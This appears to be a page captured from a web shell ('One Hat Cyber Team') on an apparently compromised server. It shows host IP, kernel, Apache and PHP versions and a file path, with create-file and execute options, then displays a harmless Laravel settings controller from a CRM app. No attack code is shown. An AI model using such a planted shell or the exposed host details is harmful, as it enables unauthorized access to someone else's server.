⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
crm.dev-unit.com
/
app
/
Http
/
Controllers
/
View File Name :
SettingController.php
<?php namespace App\Http\Controllers; use App\Http\Requests\UpdateSettingRequest; use App\Models\Setting; use App\Repositories\SettingRepository; use Flash; use Illuminate\Contracts\Foundation\Application; use Illuminate\Contracts\View\Factory; use Illuminate\Contracts\View\View; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; class SettingController extends AppBaseController { /** @var SettingRepository */ private $settingRepository; public function __construct(SettingRepository $settingRepo) { $this->settingRepository = $settingRepo; } /** * Display the specified Setting. * * @param Request $request * @return Application|Factory|View */ public function show(Request $request) { $groupName = $request->get('group', 'general'); $settings = $this->settingRepository->getSyncList($groupName); return view('settings.show', compact('settings', 'groupName')); } /** * Update the specified Setting in storage. * * @param UpdateSettingRequest $request * @return RedirectResponse */ public function update(UpdateSettingRequest $request) { if ($request->get('group') == Setting::COMPANY_INFORMATION) { $request['phone'] = preparePhoneNumber($request, 'phone'); } $this->settingRepository->updateSetting($request->all()); Flash::success(__('messages.setting.setting_updated_successfully')); return redirect()->back(); } }